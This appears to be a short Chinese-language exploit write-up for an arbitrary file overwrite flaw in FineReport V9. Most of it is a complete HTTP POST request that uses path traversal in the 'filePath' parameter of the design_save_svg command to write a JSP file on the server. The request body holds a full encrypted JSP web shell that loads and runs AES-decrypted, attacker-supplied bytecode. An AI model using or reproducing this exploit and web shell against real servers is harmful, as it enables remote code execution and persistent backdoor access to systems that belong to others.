帆软任意文件覆盖漏洞

描述

此漏洞是任意文件覆盖，上传JSP马，需要找已存在的 jsp 文件进行覆盖Tomcat 启动帆软后默认存在的JSP文件

影响版本

FineReportV9

漏洞详情

版本：/tomcat-7.0.96/webapps/ROOT/index.jsp 覆盖 Tomcat 自带 ROOT 目录下的 index.jsp:

POST /WebReport/ReportServer?
op=svginit&cmd=design_save_svg&filePath=chartmapsvg/../../../../WebReport/update.jsp HTTP/1.1
Host: 192.168.169.138:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/81.0.4044.92 Safari/537.36
Connection: close
Accept-Au: 0c42b2f264071be0507acea1876c74
Content-Type: text/xml;charset=UTF-8
Content-Length: 675
{"__CONTENT__":"<%@pageimport=\"java.util.*,javax.crypto.*,javax.crypto.spec.*\"%><%!classU extends
ClassLoader{U(ClassLoader c){super(c);}public Classg(byte []b){return
super.defineClass(b,0,b.length);}}%><%if(request.getParameter(\"pass\")!=null){String
k=(\"\"+UUID.randomUUID()).replace(\"-
\",\"\").substring(16);session.putValue(\"u\",k);out.print(k);return;}Cipher
c=Cipher.getInstance(\"AES\");c.init(2,new
SecretKeySpec((session.getValue(\"u\")+\"\").getBytes(),\"AES\"));new
U(this.getClass().getClassLoader()).g(c.doFinal(new
sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInsta
nce().equals(pageContext);%>","__CHARSET__":"UTF-8"}